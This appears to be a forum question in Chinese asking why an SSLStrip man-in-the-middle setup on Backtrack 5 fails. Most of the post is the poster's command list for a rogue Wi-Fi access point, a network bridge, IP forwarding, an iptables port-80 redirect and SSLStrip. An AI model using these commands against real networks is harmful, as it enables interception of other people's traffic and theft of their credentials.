我在使用 Backtrack 5 的 MITM 设置中遇到 SSLStrip 问题。我正在使用外部无线卡来广播无线信号,并通过以太网进行路由。我在 Wireshark 中成功查看了数据包,但是我想使用 SSLStrip 查看 SSL 数据。这些是我用来设置 MITM 的初步命令。
airmon-ng start wlan1
airbase-ng --essid mitm 11 mon0
--新终端--
brctl addbr mitm-bridge
brctl addif mitm-bridge eth0
brctl addif mitm-bridge at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig mitm-bridge 192.168.0.199 up
echo 1 > /proc/sys/net/ipv4/ip_forward
至此,我可以在 WireShark 中查看数据包数据。我按照这些步骤设置 SSLStrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
cd /pentest/web/sslstrip
sslstrip -l 8080
当我完成会话并打开 sslstrip.log 时,我看不到任何写入文件的数据。此外,一旦我执行 iptables 重定向,我将无法访问互联网。请让我知道您认为问题可能是什么。